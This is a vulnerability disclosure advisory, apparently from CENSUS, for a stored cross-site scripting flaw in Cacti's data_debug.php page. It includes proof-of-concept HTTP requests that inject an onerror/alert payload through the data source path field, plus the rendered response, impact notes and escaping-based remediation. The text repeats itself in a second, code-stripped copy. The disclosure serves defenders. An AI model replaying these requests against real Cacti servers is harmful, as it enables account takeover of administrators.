Summary
A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim's browser at view-time.
Details
The script under data_debug.php
displays data source related debugging information such as data source paths, polling settings, meta-data on the data source. CENSUS found that an adversary that is able to configure a malicious data-source path, can deploy a stored XSS attack against any user that has privileges related to viewing the data_debug.php
information.
A user that possesses the General Administration>Sites/Devices/Data permissions can configure the data source path in cacti. This configuration occurs through http://<HOST>/cacti/data_sources.php
.
The related vulnerable code that renders the malicious payload can be found in data_debug.php:761
array(
'name' => 'rrd_writable',
'title' => __('Is RRDfile writeable by poller?'),
'value' => $real_path
),
In the above code block the variable $real_path
, is rendered without any escaping, thus allowing for a stored XSS attack.
A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the back-end with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim's browser, the malicious code block will become part of the browser's DOM and with thus be executed at view-time.
Therefore, it is possible for a victim that has followed an attacker provided URL of the form http://<HOST>/cacti/data_debug.php?action=view&id=<INFECTED DATA RESOURE ID>
(or for a victim that has navigated to inspect the poisoned data source) to trigger the XSS vulnerability.
PoC
To verify the issue one can perform the following call to place malicious JavaScript in the cacti database:
POST /cacti/data_sources.php?header=false HTTP/1.1
Host: HOST
Content-Length: 761
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://<HOST>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close
__csrf_magic=<CSRF TOKEN>&data_template_id=3&host_id=2&_data_template_id=3&_host_id=2&_data_input_id=15&data_template_data_id=198&local_data_template_data_id=3&local_data_id=8&name=%7Chost_description%7C+-+Apache+HTTP++-+CPU+Load&data_source_path=%3Cpath_rra%3E%2Fasdf_apache_cpuload_8.rrd%3Cimg+src%3Dx+onerror%3D%22alert('data+source+path')%22%3E&data_input_id=15&data_source_profile_id=1&rrd_step=300&active=on&data_source_name_277=apache_cpuload&rrd_minimum_277=0&rrd_maximum_277=100&data_source_type_id_277=1&rrd_heartbeat_277=600&data_input_field_id_277=52&value_51=asdf&save_component_data=1&save_component_data_source=1&action=save
For the attacker to place the malicious payload, the aforementioned General Administration>Sites/Devices/Data privileges are required. For the victim to view the malicious information, privileges of viewing the debug_data.php
information are required (Resource Path: Troubleshooting>Data Sources).
An example request that renders the malicious data can be found below:
GET /cacti/data_debug.php?action=view&id=8 HTTP/1.1
Host: <HOST>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close
Following the rendered payload in the response of the above request
<tr class='odd selectable tableRow' id='line5'>
<td class="nowrap">Is RRDfile writeable by poller?</td>
<td class="nowrap"><span class='cactiTooltipHint' style='padding:0px;margin:0px;' title='<script>alert(data source path)</script>'><script>alert('data source path')</script></span></td>
<td class="nowrap"><i class="fa fa-spinner fa-pulse fa-fw"></i></td>
</tr>
Impact
To perform the Stored XSS attack the adversary needs to be an authorized cacti user with the following permissions:
- General Administration>Sites/Devices/Data
The victim of this attack could be any account with permissions to view http://<HOST>/cacti/data_debug.php
Once the attacker has executed the malicious JavaScript within the victim's browser it is possible to
- perform a victim-account takeover
- perform arbitrary actions on the platform as the victim user
- redirect the user to a malicious website
- ask for sensitive information, under the cover of the cacti webpage
- run browser related exploits and attacks
- join a browser botnet and participate in a DDoS attack
Remediation
Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output.
The issue was identified by Vissarion Moutafis of CENSUS. CENSUS will be releasing an advisory for this issue once a release that fixes the issue becomes available (or in 90 days, whichever comes first). Should you require assistance with the review of the patch we will be more than happy to help!
Summary
A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim's browser at view-time.
Details
The script under
data_debug.php
displays data source related debugging information such as data source paths, polling settings, meta-data on the data source. CENSUS found that an adversary that is able to configure a malicious data-source path, can deploy a stored XSS attack against any user that has privileges related to viewing thedata_debug.php
information.A user that possesses the General Administration>Sites/Devices/Data permissions can configure the data source path in cacti. This configuration occurs through
http://<HOST>/cacti/data_sources.php
.The related vulnerable code that renders the malicious payload can be found in
data_debug.php:761
In the above code block the variable
$real_path
, is rendered without any escaping, thus allowing for a stored XSS attack.A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the back-end with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim's browser, the malicious code block will become part of the browser's DOM and with thus be executed at view-time.
Therefore, it is possible for a victim that has followed an attacker provided URL of the form
http://<HOST>/cacti/data_debug.php?action=view&id=<INFECTED DATA RESOURE ID>
(or for a victim that has navigated to inspect the poisoned data source) to trigger the XSS vulnerability.PoC
To verify the issue one can perform the following call to place malicious JavaScript in the cacti database:
For the attacker to place the malicious payload, the aforementioned General Administration>Sites/Devices/Data privileges are required. For the victim to view the malicious information, privileges of viewing the
debug_data.php
information are required (Resource Path: Troubleshooting>Data Sources).An example request that renders the malicious data can be found below:
Following the rendered payload in the response of the above request
Impact
To perform the Stored XSS attack the adversary needs to be an authorized cacti user with the following permissions:
The victim of this attack could be any account with permissions to view
http://<HOST>/cacti/data_debug.php
Once the attacker has executed the malicious JavaScript within the victim's browser it is possible to
Remediation
Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output.